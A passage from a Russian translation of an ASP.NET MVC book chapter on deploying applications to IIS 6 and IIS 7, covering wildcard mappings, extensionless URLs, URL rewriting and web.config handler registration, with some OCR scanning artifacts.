3.	Если мастер предложит выбрать между вариантами Typical configuration for а first server (Типичная конфигурация для первого сервера) и Custom configuration (Выборочная конфигурация), выберите вариант Custom configuration и щелкните на кнопке Next.
4.	Выберите в списке ролей сервера вариант Application server (IIS, ASP.NET) (Сервер приложений (IIS, ASP.NET)) и щелкните на кнопке Next.
5.	Отметьте флажок Enable ASRNET (Включить ASP.NET) и щелкните на кнопке Next. После просмотра итоговой информации о выбранных настройках еще раз щелкните на кнопке Next, и система приступит к установке и конфигурированию IIS.
6.	Щелкните на кнопке Finish (ГЬтово).
Теперь загрузите пакет .NET Framework 3.5 SP1 из http: //smallestdotnet.com/ и установите его. Возможно, понадобится перезагрузить сервер.
Удостоверьтесь, что сервер IIS установлен и работает, открыв браузер на сервере и перейдя по адресу http:/ /localhost/. Должна отобразиться страница с заголовком “Under Construction” (В разработке).
Добавление и конфигурирование нового веб-сайта MVC в диспетчере служб HS
Скопируйте файлы приложения в какую-то папку на сервере, если это еще не сделано. Помните о необходимости копирования только тех типов файлов, которые необходимы для выполнения приложения (как было перечислено выше).
Выполните следующие шаги, чтобы сконфигурировать IIS для обслуживания приложения.
1.	Откройте диспетчер служб IIS, дважды щелкнув на значке Administrative Tools (Администрирование) в панели управления и затем выбрав соответствующий значок в открывшемся окне.
2.	В древовидном представлении слева раскройте узел, представляющий сервер, а затем узел Web Sites (Веб-сайты). Щелкните правой кнопкой на любых элементах, которые не нужны (например, Default Web Site (Веб-сайт по умолчанию)), и выбе
472 Часть II. ASP.NET MVC во всех деталях
рите в контекстном меню пункт Stop (Остановить) или Delete (Удалить), чтобы эти элементы не мешали в будущем.
3.	Добавьте новый веб-сайт, щелкнув правой кнопкой мыши на узле Web Sites и выбрав в контекстном меню пункт New4>Web Site (Создать Ф Веб-сайт). Щелкните на кнопке Next (Далее), чтобы пропустить начальную страницу мастера.
4.	Введите описательное имя для веб-сайта (например, планируемое доменное имя) и щелкните на кнопке Next.
5.	Введите подробные сведения о предполагаемых привязках к IP-адресу, порту и имени хоста. Если это будет единственный веб-сайт на сервере, можно оставить без изменений все значения по умолчанию. Если планируется размещать несколько сайтов параллельно, следует ввести уникальную комбинацию привязок. Разумеется, для публично доступных Интернет-приложений имеет смысл указать порт TCP по умолчанию, т.е. 80, в противном случае URL будут вызывать у посетителей неудобства. Щелкните на кнопке Next.
6.	Укажите папку, в которой были развернуть файлы приложения (ту, где находится файл web.config и подкаталог \Ып). Оставьте флажок Allow anonymous access (Разрешить анонимный доступ) отмеченным, если только не собираетесь использовать компонент Windows Authentication (это не подходит для Интернет-приложений). Щелкните на кнопке Next.
7.	Укажите в качестве прав доступа Read (Чтение) и Run scripts (Запуск сценариев). Выбирать право Execute не нужно (несмотря на упоминание ISAPI в его описании), потому что по умолчанию библиотека aspnet_isapi.dll помечена как “script engine” (механизм выполнения сценариев). Щелкните на кнопке Next, а затем на кнопке Finish (ГЪтово).
8.	И, наконец, что очень важно, откройте диалоговое окно Properties (Свойства) для нового веб-сайта (щелкнув правой кнопкой мыши на имени веб-сайта и выбрав в контекстном меню пункт Properties (Свойства)), перейдите на вкладку ASP.NET и установите для параметра ASP.NET version (Версия ASP.NET) значение 2.0.50727.
На заметку! Несмотря на то что приложения ASP.NET MVC выполняются в среде .NET Framework 3.5, все равно в качестве версии ASP.NET должна быть указана 2.0.50727. В действительности выбора между .NET 3.0 и .NET 3.5 не предусмотрено. Причина в том, что ASP.NET 3.5 на самом деле использует ту же CLR-среду, что и ASP.NET 2.0 (в ASP.NET 3.5 имеется новый компилятор C# и новый набор сборок библиотеки классов платформы, но не новая CLR-среда), поэтому сервер IIS не делает между ними различий.
Проверьте полученную на данный момент конфигурацию, открыв браузер на сервере и зайдя на http: //localhost/ (возможно, этот URL понадобится подкорректировать, если приложение было привязано к определенному порту или имени хоста или же развернуто в виртуальном каталоге). Пока не используйте браузер на рабочей станции, поскольку если имеются какие-то ошибки, то полная информация о них может быть получена, только если браузер запущен на сервере.
Если все работает правильно, появится домашняя страница сайта. Но хотя домашняя страница сайта функционирует нормально, следует проверить и прочие страницы. Сервер IIS 6 по умолчанию не поддерживает URL без расширений, и если именно они применяются на сайте, попробуйте посетить один из них. Скорее всего, при этом возникнет ошибка 404 Not Found, как показано на рис. 14.6.
Если домашняя страница вообще не появилась, ниже отписано, что следует предпринять.
Глава 14. Развертывание 473

File Edit View Favorites Toots Help
, Back *	Search Favorites	’	~
Address i •- ~ httpi/flocalhost/Home/About	yj Go Links **
i
j The page cannot be found
| The page you are looking for might have been removed, had its name changed, or — »	is temporarily unavailable,
’	Please try the following:
	• Flake sure that the Web site address displayed in the address bar of your
j Done	.* Local intranet
Рис. 14.6. Сервер IIS 6 не обслуживает URL без расширений, если не проведено дополнительное конфигурирование
Поиск и устранение неполадок
Если домашняя страница сайта отображается при посещении корневого URL (например, http: //localhost/), можете перейти к следующему разделу “Обеспечение работоспособности URL без расширений на сервере IIS 6”. Если же домашняя страница сайта не появляется, воспользуйтесь перечисленными ниже советами.
•	Если посещение корневого URL вызывает ошибку 404 Not Found, ошибку с текстом “Directory Listing Denied” (Листинг содержимого каталога запрещен) или же возвращает действительный листинг каталога, то, скорее всего, приложение ASP.NET MVC вообще не запускалось. Чтобы исправить это, выполните следующие действия.
•	Проверьте, входит ли файл De fault, aspx в список страниц содержимого по умолчанию. Для этого в окне диспетчера служб IIS щелкните правой кнопкой мыши на веб-сайте и выберите в контекстном меню пункт Properties (Свойства). На открывшейся странице перейдите по ссылке Documents (Документы) и убедитесь, что флажок Enable default content page (Разрешить страницу содержимого по умолчанию) отмечен. Если файл Default .aspx отсутствует в списке, добавьте его туда. Для того чтобы установки вступили в силу, откройте окно командной строки и выполните команду iisreset. ехе.
•	Если это не помогло, проверьте, включена ли платформа ASP.NET на сервере5. В окне диспетчера служб IIS в списке Web Service Extensions (Расширения вебслужб) должна быть включена версия ASP.NET v2.0.50727.
•	Если версия ASP.NET v2.0.50727 отсутствует в списке расширений веб-служб, значит, либо не установлена платформа .NET Framework, либо она не ассоциирована с сервером IIS (возможно, из-за того, что установка .NET 3.5 выполнялась перед установкой IIS). Установите .NET Framework 3.5 или, если уже сделали зто, запустите программу aspnet_regiis . ехе -i, которую найдете в папке \WINDOWS\Microsoft.NET\Framework\v2.О.50727.
Перечисленные выше действия также помогут разрешить некоторые ошибки типа 403 Access Denied (доступ запрещен).
5 Если используется Internet Explorer, убедитесь, что страница не кэширована в браузере. Нажмите <F5> для ее обновления.
474 Часть II. ASRNET MVC во всех деталях
•	Если получен “желтый экран смерти” ASP.NET с сообщением “Parser Error Message: Unrecognized attribute type” (Ошибка разбора: неопознанный тип атрибута), то, скорее всего, по ошибке веб-сайт был сконфигурирован для выполнения версии ASP.NET 1.1 (посмотрите, какая версия ASP.NET у казана в строке Version Information в нижней части страницы с ошибкой). В окне диспетчера служб IIS перейдите на вкладку ASP.NET и удостоверьтесь, что выбрана версия ASP.NET 2.0.50727.
•	Если получен "желтый экран смерти” ASP.NET с сообщением “Parser Error Message: Child nodes not allowed” (Ошибка разбора: дочерние узлы не разрешены), то, возможно, что установлена и выбрана версия .NET Framework 2 вместо .NET Framework 3.5. Установите ее.
Обеспечение работоспособности URL без расширений на сервере IIS 6
Как уже упоминалось ранее в этой главе, сервер IIS 6 не обращается к библиотеке aspnet isapi. dll до тех пор, пока не распознает в URL расширения имени файла, отображенного на aspnet_isapi.dll. Это значит, что система маршрутизации (реализованная в THttpModule) не вызывается по умолчанию для URL без расширений или для URL с незарегистрированными расширениями (например, *.mvc). Вот почему в большинстве случаев после развертывания приложений ASP.NET MVC на IIS 6 поначалу возникает ошибка 404 Not Found. В табл. 14.1 описаны четыре наиболее общих решения, каждое из которых подробно объясняется ниже.
Таблица 14.1. Способы заставить работать систему маршрутизации на сервере IIS 6
Решение	Преимущества	Недостатки
Использование схемы сопоставления	Заставляет сервер IIS обраба-	Потенциально
с подстановочными знаками	тывать все запросы с помощью ASP.NET. Очень легко настраивается. Сохраняет чистые URL без расширений.	может снижать производительность.
Использование во всех маршрутах традиционных расширений имен файлов ASP.NET. Добавьте . aspx ко всем шаблонам URL вхождений маршрута (например, {controller} .aspx/ {action} / {id}), вынудив IIS отображать эти запросы на ASP.NET.	Легко настраивается. Не приводит к снижению производительности. Не требует изменения конфигурации HS (идеально подходит для виртуального хостинга).	Портит чистоту URL.
Использование во всех маршрутах специальных расширений имен файлов. Те же действия, что и в предыдущем решении, но вместо . aspx применяется .mvc. Расширение .mvc понадобится зарегистрировать на сервере IIS (объяснения даются ниже).	Относительно легко настраивается. Не приводит к снижению производительности.	Портит чистоту URL.
Использование перезаписи URL. Это трюк, заставляющий IIS считать, что	Сохраняет чистые URL без расширений.	Трудно настраивается.
расширение имени файла есть, когда	Не приводит к заметному сниже-	Требует использования
на самом деле оно отсутствует.	нию производительности.	стороннего продукта (хотя и бесплатного).
Глава 14. Развертывание 475
Использование схемы сопоставления с подстановочными знаками
Это простейшее решение для обеспечения работы URL без расширений на сервере IIS 6, которое рекомендуется применять, если нет каких-то специальных требований. Оно заставляет IIS обрабатывать все запросы с использованием aspnet _isapi. dll, поэтому независимо от того, какое расширение имени файла присутствует в URL (или вообще никакого), система маршрутизации всегда вызывается и передает управление соответствующему контроллеру.
Чтобы настроить это поведение, откройте диспетчер служб IIS. щелкните правой кнопкой мыши на приложении или виртуальном каталоге и выберите в контекстном меню пункт Properties (Свойства). На открывшейся странице перейдите по ссылке Ноте DirectoryriConfiguration (Домашний каталог1^Конфигурация). Щелкните на кнопке Insert (Вставить) в разделе Wildcard application map (Схема сопоставления с подстановочными знаками приложения), но не на кнопке Add (Добавить), расположенной выше, и настройте новую схему сопоставления с подстановочными знаками, как описано ниже.
•	В поле Executable (Исполняемый файл) укажите c:\windows\microsoft.net\ f ramework\v2 . О . 50727\aspnet_isapi. dll или скопируйте и вставьте значение из поля Executable в существующей схеме сопоставления для расширения . aspx.
•	Снимите отметку с флажка Verify that file exists (Проверять существование файла), поскольку URL без расширений не соответствуют реальным файлам на диске.
Вот и вся установка! Теперь URL без расширений должны функционировать корректно.
Недостатки использования схем сопоставления с подстановочными знаками
Поскольку теперь сервер IIS использует ASP.NET д ля обработки всех запросов, расширение aspnet isapi. dll берет на себя ответственность даже за обработку запросов статических файлов, таких как графические изображения, файлы CSS и файлы JavaScript. Система маршрутизации будет распознавагь также и URL, которые соответствуют файлам на диске, и пропускать их (при условии, что параметр RouteExistingFiles не установлен в true). После этого будет вызываться встроенный в ASP.NET обработчик DefaultHttpHandler для статической обработки файлов. В этом случае появляются две возможности.
•	Если вы перехватываете запрос (например, с использованием IHttpModule или App.l icationBeginRequest О ) и затем отправляете некоторые НТТР-заголовки, модифицируете политику кэширования, производите запись в поток Response или добавляете фильтры, то DefaultHttpHandler обработает статический файл, передав управление встроенному классу обработчика по имени StaticFileHandler. Это значительно менее эффективно, чем естественная обработка статических файлов сервером IIS: файлы не кэшируются в памяти, а каждый раз считываются с диска; не принимаются во внимание заголовки Cache-Control или заголовки, указывающие время истечения срока хранения в кэше, которые могли быть сконфигурированы в IIS, поэтому браузеры не смогут правильно кэшировать статические файлы; не будет использоваться сжатие HTTP.
•	Если вы не перехватываете запрос, но модифицируете его, как было описано ранее, то DefaultHttpHandler вернет управление обратно серверу IIS для обычной обработки статического файла6. Это намного эффективнее, чем обработка с помощью StaticFileHandler (в этом случае, например, отправляются корректные заголовки, указывающие время истечения срока хранения в кэше), но сохраняются затраты, связанные с переключением на управляемый код и обратно.
6 На самом деле сервер IIS будет вызывать каждую схему сопоставления с подстановочными знаками по очереди, пока не обработает запрос. Встроенный обработчик статических файлов будет использоваться, только если не подойдет ни одна схема.
476 Часть II. ASP.NET MVC во всех деталях
Если незначительное снижение производительности вас не беспокоит (скажем, потому, что зто приложение для корпоративной сети, которое обслуживает лишь небольшое количество пользователей), тогда можно остановить выбор на этом решении и удовлетвориться простой схемой сопоставления с подстановочными знаками. С другой стороны, если нужна максимальная производительность при обработке статических файлов, стоит обратиться к другим стратегиям развертывания, или, по крайней мере, исключить каталоги со статическим содержимым из схемы сопоставления с подстановочными знаками.
Исключение определенных подкаталогов из схемы
сопоставления с подстановочными знаками
Для повышения производительности можно заставить сервер IIS исключить определенные каталоги из схемы сопоставления с подстановочными знаками. Например, если исключить каталог /Content, то IIS станет обрабатывать все хранящиеся там файлы в обход ASP.NET. К сожалению, средство исключения каталогов в диспетчере служб IIS не реализовано. Редактировать схемы сопоставления с подстановочными знаками можно только на уровне отдельных каталогов, непосредственно модифицируя метабазу с помощью такого инструмента командной строки, как adsutil.vbs, который по умолчанию находится в с:\Inetpub\AdminScripts\.
Это довольно просто. Сначала в диспетчере служб IIS отыщите числовой идентификатор приложения, как показано на рис. 14.7.
Рис. 14.7. Использование диспетчера служб IIS 6 для определения числового идентификатора веб-сайта
Затем откройте окно командной строки, перейдите в каталог c:\lnetpub\ AdminScripts и выполните следующую команду:
adsutil.vbs SET /W3SVC/105364569/root/Content/ScriptMaps ""
В приведенной команде 105364569 необходимо заменить конкретным числовым идентификатором приложения. Эта команда позволит исключить все схемы сопоставления с подстановочными знаками (и не с подстановочными знаками) для каталога /Content, так что все файлы в нем будут обрабатываться встроенными средствами IIS. Естественно, вместо /Content можно подставить путь к любому другому каталогу.
Совет. Если вы предпочитаете использовать для исключения каталогов из схемы сопоставления с подстановочными знаками диспетчер служб IIS, а не команду adsutil .vbs, то и это возможно, хотя и слегка нестандартно. Сначала необходимо пометить каталог /Content как “приложение” (щелкните на нем правой кнопкой мыши, выберите в контекстном меню пункт Properties (Свойства), на открывшейся странице перейдите по ссылке Directory (Каталог) и щелкните на кнопке Create (Создать)). После этого диспетчер служб IIS позволит редактировать схемы сопоставления с подстановочными знаками для данного каталога, так что можно будет удалить
Глава 14. Развертывание 477
схему сопоставления с aspnet_isapi.dll. И, наконец, вернитесь на страницу Directory и снимите пометку “приложение” с каталога, щелкнув на кнопке Remove (Удалить). Изменения, внесенные в схемы сопоставления с подстановочными знаками для данного каталога, останутся в силе, даже несмотря на то, что диспетчер служб 11S больше не позволит увидеть настройки для этого каталога.
Использование традиционного для ASP.NET расширения имени файла
Если наличие расширений .aspx в URL не планируется, такое решение настроить очень просто, и оно не помешает обработке сервером IIS статических файлов. Просто добавьте .aspx непосредственно перед косой чертой во всех элементах маршрутов. Например, шаблоны URL могут выглядеть следующим образом: {controller} .aspx/ {action}/{id} или myapp.aspx/{controller}/{action}/{id}. Конечно, в равной степени можно указать и любое другое расширение файла, зарегистрированное для aspnet isapi.dll, скажем, . ashx. После внесения изменений понадобится перекомпилировать и развернуть обновленные файлы приложения на сервере.
На заметку! Не заключайте расширение . aspx вместе с именами параметров в фигурные скобки (т.е.
не пытайтесь использовать в качестве шаблона URL {controller. aspx}) и не вставляйте . aspx в какие-либо значения Defaults (например, не устанавливайте {controller = "Home. aspx"}). Причина в том, что расширение .aspx не является частью имени контроллера, и оно должно присутствовать только в шаблоне URL для удовлетворения требований сервера IIS.
При таком подходе отпадает необходимость в схеме сопоставления с подстановочными знаками. Это значит, что расширение aspnet isapi . dll будет вызываться только для запросов, адресованных приложению, но не для запросов статических файлов (которые имеют другие расширения). К сожалению, при этом нарушается чистота URL.
Использование специального расширения имени файла
Если URL должны оснащаться расширением . mvc вместо . aspx (или еще какое-нибудь расширение), то это организовать несложно при условии, что поставщик услут хостинга предоставляет доступ к диспетчеру служб IIS для регистрации специальных расширений ISAPI.
Обновите все шаблоны URL в элементах маршрута, как было описано ранее в разделе “Использование традиционного для ASP.NET расширения имени файла”, но вместо . aspx укажите собственное расширение. Затем после перекомпиляции и развертывания обновленных файлов на сервере выполните перечисленные ниже действия, чтобы зарегистрировать специальное расширение имени файла в IIS.
В окне диспетчера служб IIS щелкните правой кнопкой мыши на виртуальном каталоге и выберите в контекстном меню пункт Properties (Свойства). Затем последовательно выберите значки Home Directory (Домашний каталог), Configuration (Конфигурация). Щелкните на кнопке Add (Добавить) в разделе Application extensions (Расширения приложения) и определите новое отображение следующим образом.
• В поле Executable (Исполняемый файл) укажите с:\windows\microsoft. net\ framework\v2 . О . 50727\aspnet_isapi . dll или скопируйте и вставьте значение из поля Executable в существующей схеме сопоставления для расширения .aspx.
• В поле Extension (Расширение) введите .mvc (или другое расширение, которое хотите использовать для элементов маршрутизации).
• В разделе Verbs (Команды) оставьте выбранным переключатель All verbs (Все команды), если только не планируется специальным образом фильтровать НТТР-методы.
478 Часть II. ASP.NET MVC во всех деталях
•	Оставьте отмеченным флажок Script engine (Механизм сценариев), если только для приложения уже не предоставлена привилегия Execute (Выполнение), тогда состояние этого флажка не играет роли.
•	Удостоверьтесь, что флажок Verify that file exists (Проверять существование файла) не отмечен, поскольку URL не соответствуют действительным файлам на диске.
•	Щелкните на кнопке ОК и продолжайте щелкать на ОК, пока не будут закрыты все окна свойств.
Теперь должна появиться возможность открыть страницу по адресу http: / /localhost/ home/index, mvc (или по другому адресу, который соответствует новой конфигурации маршрутизации) в браузере на сервере.
Не удаляйте существующее отображение для . aspx, поскольку оно по-прежнему необходимо для обработки страницы -/Default.aspx, которая требуется для обращения к ASRNET при запросе корневого URL.
Использование перезаписи URL
Это определенно самое сложное в настройке решение, но и единственное, которое обеспечивает обработку URL без расширений и не требует для этого схему сопоставления с подстановочными знаками. Преимущество данного подхода состоит в том, что статические файлы (например, файлы с расширениями * .css, * .jpeg) из любого каталога будут обработаны средствами сервера IIS, без участия aspnet isapi. dll, в то время как URL без расширений — встроенными средствами ASP.NET.
На заметку! Добавление подобной сложности к действующим серверам не рекомендуется. Так стоит поступать лишь тогда, когда не удается достигнуть адекватной производительности обслуживания статических файлов с использованием схемы сопоставления с подстановочными знаками и исключением каталогов. Данное решение рассматривается только для полноты картины. * 1 2
Трюк сводится к выполнению следующих действий.
1. Когда на сервер поступают запросы без расширения, с помощью фильтра ISAPI от независимых разработчиков должна производиться перепись URL со вставкой какого-то расширения ASP.NET (например, . aspx). Сервер IIS обнаружит расширение и отобразит его на aspnet_isapi. dll, а, следовательно, на ASP.NET.
2. Перед проверкой URL системой маршрутизации обработчик ApplicationBeginRequest () должен перезаписать URL, восстановив его первоначальный вид без расширения. Система маршрутизации обнаружит первоначальный URL без расширения и направит его по соответствующему маршруту.
Существует очень мощный продукт, выполняющий такую перезапись URL, под названием ISAPI Rewrite (www.helicontech.com/). Это коммерческий продукт, но на момент написания настоящей книги была доступна и его бесплатная версия ISAPI-Rewrlte Lite 2, которая отлично справляется с решением задачи перезаписи URL. После загрузки и установки ISAPI_Rewrite Lite 2 на сервере (с обязательным перезапуском IIS) отредактируйте его конфигурационный файл (выбрав в меню Start (Пуск) пункт All Programs^Helicon^lSAPI-Rewrite^httpd.ini (Все программы1^Helicon ISAPI_Rewrited>httpd. ini)), добавив в него следующие строки:
# Если приложение размещено в виртуальном каталоге, удалите символ комментария
# с приведенных ниже строк и укажите путь к виртуальному каталогу
#UriMatchPrefix /myvirtdlr
#UriFormatPrefix /myvirtdir
Глава 14. Развертывание 479
#	Добавьте к этому правилу расширения, которые не должны обрабатываться ASP.NET RewriteRule (.*)\. (css I gif I png I jpeg I jpg IjsI zip) $1.$2 [I,L]
#	Интерпретируйте корневой URL как /Default.aspx,
#	как это по умолчанию делается в IIS 6
RewriteRule / /Default.aspx [I]
#	Снабдите URL префиксами "rewritten.aspx/", чтобы они обрабатывались ASP.NET RewriteRule /(.*) /rewritten.aspx/$l [I]
После сохранения этого файла понадобится перезапустить сервер IIS, чтобы изменения вступили в силу. Для перезапуска IIS откройте окно командной строки и выполните команду iisreset. ехе. Это выполнит первое действие из двух описанных выше. Теперь ASP.NET будет обрабатывать все запросы за исключением тех, что соответствуют списку известных расширений статических файлов.
Для проведения второго действия добавьте в класс Global. asax. cs следующий обработчик:
protected void ApplicationBeginRequest(Object sender, EventArgs e)
{
HttpApplication app = sender as HttpApplication;
if (app 1= null)
if (app.Request.AppRelativeCurrentExecutionFilePath ==
"~/rewritten.aspx")
app.Context.RewritePath( app.Request.Url.PathAndQuery.Replace("/rewritten.aspx", "") );
}
Если все сделано правильно, то URL без расширений будут обрабатываться в отсутствие схемы сопоставления с подстановочными знаками, не влияя при этом на обработку статических файлов. Если поначалу это не работает, проверьте, корректно ли указан путь к виртуальному каталогу в файле httpd.ini пакета ISAFT_Rewrlte, и при необходимости перезапустите IIS с помощью команды iisreset.exe.
Внимание! Это решение затрагивает все приложения, развернутые на сервере. Вполне возможно возникновение хаоса, если на сервере имеется несколько приложений, пусть даже относящихся к разным пулам приложений. Для обеспечения перезаписи URL только в отдельном приложении или виртуальном каталоге понадобится коммерческая версия ISAPI Rewrite. В качестве альтернативы можно было бы написать собственный фильтр ISAPI, но это доступно только с применением неуправляемого кода C/C++.
Развертывание на сервере I IS 7
Приложения ASP.NET MVC намного проще развертывать на сервере IIS 7 в среде ОС Windows Server 2008, поскольку интегрированный режим IIS 7 позволяет системе маршрутизации подключаться к обработке всех запросов, независимо от расширений имен файлов, но при этом обрабатывать статические файлы встроенными средствами ASP.NET.
Для установки сервера IIS 7 в среде ОС Windows Server 2008 потребуется выполнить следующие шаги.
1.	Откройте диспетчер сервера (Server Manager), выбрав в меню Start (Пуск) пункт Administrative Toolsd>Server Manager (Администрированиеd>Диспетчер сервера).
2.	В древовидном представлении слева щелкните правой кнопкой мыши на папке Roles (Роли) и выберите в контекстном меню пункт Add Roles (Добавить роли). Если отобразится страница Before You Begin (Прежде чем приступить), щелкните на кнопке Next (Далее), чтобы пропустить ее.
480 Часть II. ASP.NET MVC во всех деталях
3.	В списке возможных ролей выберите Application Server (Сервер приложений). (Если в этот момент откроется окно со списком требований к установке IIS, щелкните на кнопке Add Required Features (Добавить требуемые средства).) Щелкните на кнопке Next.
4.	Отобразится страница со сведениями о сервере IIS. Щелкните на кнопке Next.
5.	Щелкните на флажке ASP.NET под заголовком Application Development (Разработка приложений) на странице Role Services (Службы ролей). Откроется всплывающее окно с списком других средств, необходимых для установки ASP.NET; щелкните на кнопке Add Required Role Services (Добавить необходимые службы ролей).
6.	Проверьте список служб ролей и выберите те, что понадобятся приложению. Например, если планируется использовать компонент Windows Authentication, включите его сейчас. Не выбирайте лишние службы, которыми не будете пользоваться. Цель состоит в том, чтобы минимизировать “площадь поверхности” сервера7. Щелкните на кнопке Next.
7.	На странице подтверждения просмотрите список средств и служб, которые должны быть установлены, и затем щелкните на кнопке Install (Установить). После этого мастер установит IIS и активизирует ASP.NET.
8.	По завершении установки щелкните на кнопке Close (Закрыть) на итоговой странице.
После этого можно протестировать работу установленного сервера IIS, открыв браузер на сервере и посетив URL http://localhost/. Должна отобразиться страница с приветствием и логотипом IIS 7.
Далее можно загрузить и установить платформу .NET Framework 3.5.
Добавление и конфигурирование нового
веб-сайта MVC на сервере IIS 7
Если зто еще не было сделано, скопируйте файлы приложения в некоторую папку на сервере. Не забудьте, что должны включаться только те типы файлов, которые необходимы для выполнения приложения (они перечислялись ранее).
Выполните следующие шаги, чтобы сконфигурировать сервер IIS 7 для обслуживания приложения.
1.	Откройте диспетчер служб IIS. дважды щелкнув на значке Administrative Tools (Администрирование) в панели управления и затем выбрав соответствующий значок в открывшемся окне.
2.	В древовидном представлении слева раскройте узел, представляющий сервер, а затем узел Sites (Сайты). Щелкните правой кнопкой на любых элементах, которые не нужны (например. Default Web Site (Веб-сайт по умолчанию)), и выберите в контекстном меню Delete (Удалить) для их удаления. Чтобы только остановить элементы, выберите их и щелкните на ссылке Stop (Остановить) в панели справа.
3.	Добавьте новый веб-сайт, щелкнув правой кнопкой мыши на узле Sites и выбрав в контекстном меню пункт Add Web Site (Добавить веб-сайт). Введите описательное имя в поле Site name (Имя сайта) и укажите физический путь к папке, в которую были помещены файлы приложения. Если необходимо его привязать к определенному имени хоста и порту TCP, введите эти сведения. По завершении щелкните на кнопке ОК.
7 Частично это позволит защититься возможных уязвимостей в скрытых средствах и службах IIS. Что более важно — снизится вероятность непреднамеренного нарушения конфигурации сервера, открывающего сервер в большей степени, чем необходимо.
Глава 14. Развертывание 481
На заметку! По умолчанию сервер IIS для добавленного веб-сайта создаст новый пул приложений с тем же именем, что и этот веб-сайт. Запустите исполняющую среду .NET CLR 2.0 (она необходима для приложения ASP.NET MVC)8 и активизируйте интегрированный режим IIS (это также нужно). При желании новый веб-сайт можно поместить в тот же пул приложений, что и существующий веб-сайт, если в этом пуле также выполняется среда .NET CLR 2.0.
После этого все должно заработать. В интегрированном режиме система маршрутизации работает без каких-либо проблем, так как модуль UrlRoutingModule по умолчанию активизирован в файле web.config приложения. Проверьте работоспособность приложения, открыв браузер на сервере и посетив URL http://localhost/ (в случае привязки к определенному порту или имени хоста или при развертывании в виртуальном каталоге понадобится соответствующим образом подкорректировать URL).
Если используется классический режим (вместо интегрированного), потребуется обеспечить корректную работу системы маршрутизации, как было описано ранее для сервера IIS 6.
Совет. Если браузер отображает ошибку “Parser error message: Could not load file or assembly ‘System.Core’” (Ошибка разбора: не удается загрузить файл или сборку System. Core), значит, платформа .NET 3.5 не была установлена. Загрузите и установите ее.
Дополнительные сведения о развертывании на сервере IIS 7
Несмотря на то что приложения ASRNET MVC, скорее всего, сразу же заработают на сервере IIS 7, существует еще несколько моментов, которые следует принимать во внимание.
•	Анонимная аутентификация по умолчанию включена. Если это не то, что вам нужно, выберите веб-сайт в диспетчере служб IIS, откройте страницу Authentication и просмотрите конфигурацию. Например, если используется Windows Authenticat ion и необходимо принудительно аутентифицировать все запросы, анонимную аутентификацию следует отключить. За дополнительными сведениями по настройке аутентификации обращайтесь в главу 15.
•	Если используется интегрированный режим и есть любые классы IHttpModule или THttpHandler, зарегистрированные в узле <system.web> файла web.config, например:
<system.web>
<httpHandlers>
<add verb="*" path="*.blah" validate="false" type="MyMvcApp.MySpecialHandler, MyMvcApp"/>
</httpHandlers>
<httpModules>
<add name="MyHttpModule" type="MyMvcApp.MyHttpModule, MyMvcApp"/>
</httpModules>
</system.web>
8 Это не опечатка: когда идет речь о сервере IIS. приложения ASP.NET MVC выполняются под управлением исполняющей среды .NET CLR 2.0. Помните, что версии .NETT 3.0 и .NET 3.5 по-прежнему работают с CLR-средой из NET 2.0. Именно поэтому отсутствует выбор .NET 3.0 или .NET 3.5. Однако установка платформы .NET 3.5 на веб-сервере все равно нужна, поскольку она включает новый компилятор ASPX и множество новых библиотек классов которые важны для правильной работы приложения.
482 Часть II. ASP.NET MVC во всех деталях
то их функционирование на встроенном сервере Visual Studio 2008 не означает их работу на IIS 7. Эти классы должны быть также зарегистрированы в новом узле <system.webServer>. Для этого понадобится либо воспользоваться страницами модулей и сопоставления обработчиков в диспетчере служб IIS, либо отредактировать файл web.config вручную, обращая внимание на слегка отличающийся синтаксис:
<system.Webserver»
<validation validate!ntegratedModeConfiguration="true" />
<modules runAllManagedModulesForAHRequests="true">
<add name="MyHttpModule"
type="MyMvcApp.MyHttpModule, MyMvcApp" />
</modules>
<handlers>
<add name="MyHandler" path="*.blah" verb="*" type="MyMvcApp.MySpecialHandler" />
</handlers>
</system.Webserver»
В интегрированном режиме IIS 7 принимаются во внимание только те модули и обработчики, которые зарегистрированы в узле <system. Webserver». Если оставить любые обработчики и модули в узле <system. web>, возникнет' ошибка с сообщением ‘An ASP.NET setting has been detected that does not apply in Integrated managed pipeline mode” (Обнаружена настройка ASP.NET, не применимая в интегрированном режиме управляемого конвейера). В таком случае потребуется либо удалить старую регистрацию модуля/обработчика, либо добавить установку validate Integrated ModeConfiguration="false" в узел <system.webServer»/<validation>. Это позволит серверу IIS 7 просто игнорировать старые регистрации9.
•	В интегрированном режиме IIS 7 появились и другие существенные изменения. К счастью, они затрагивают лишь немногие приложения ASP.NET MVC. С длинным списком этих скрытых и низкоуровневых изменений можно ознакомиться по адресу http://tinyurl.com/37qyqc.
Подготовка приложения к работе в производственной среде
Существование различий между средой разработки и производственной средой сервера неизбежно. Вряд ли кому-то понравится в день развертывания приложения у заказчика обнаружить, что одно из таких различий мешает корректному функционированию приложения. Лучший способ избежать этого нежелательного сценария — не дотягивать до срока сдачи приложения в эксплуатацию, а вместо этого начинать выполнять развертывание рано и делать это часто в процессе разработки, возможно, с первой недели кодирования. Это не только обеспечит правильную работу без неприятных сюрпризов, но также даст возможность получать ранние и регулярные отклики на этапе разработки приложения.
Чтобы не зависеть от обычно существующих различий между средой разработки и реальной производственной средой, код должен работать с путями файлов, конфигурацией маршрутизации, строками подключения к базам данных и прочими частям
9 Это удобно в ситуации, когда необходимо, чтобы один и тот же файл web. config применялся на сервере IIS 7 (в интегрированном режиме), на встроенном веб-сервере Visual Studio и на сервере IIS 6.
Глава 14. Развертывание 483
конфигурации через соответствующие уровни абстракции. Ради удобства такие уровни абстракции встроены в саму платформу ASP.NET, поэтому нужно лишь знать, как ими пользоваться.
Поддержка изменяемой конфигурации маршрутизации
Никогда не следует жестко кодировать URL в ссылках и перенаправлениях. В противном случае после изменения конфигурации маршрутизации эти URL станут недействительными. На момент развертывания сайта могут появиться причины изменения конфигурации маршрутизации (например, понадобится добавить расширения имен файлов, чтобы удовлетворить требованиям IIS 6). Жестко кодировать не рекомендуется даже косую черту (/) в качестве URL домашней страницы, потому что после развертывания в виртуальном каталоге, это также будет нарушено.
Вместо этого URL должны генерироваться с использованием встроенных в платформу методов, таких как Html.ActionLink(), Url.Action(), Html.BeginForm() и RedirectToAction (). Эти методы всегда учитывают действующую конфигурацию маршрутизации.
Поддержка виртуальных каталогов
Другое преимущество применения Html .ActionLink () и других методов генерации URL связано с тем, что они автоматически адаптируются к развертыванию приложения в виртуальном каталоге.
Также следует соблюдать осторожность при обращении к статическим файлам. Не кодируйте абсолютных URL, а используйте пути относительно приложения. Например, не включайте следующего в шаблон представления:
<script src="/content/myscripts . j s"X/script>
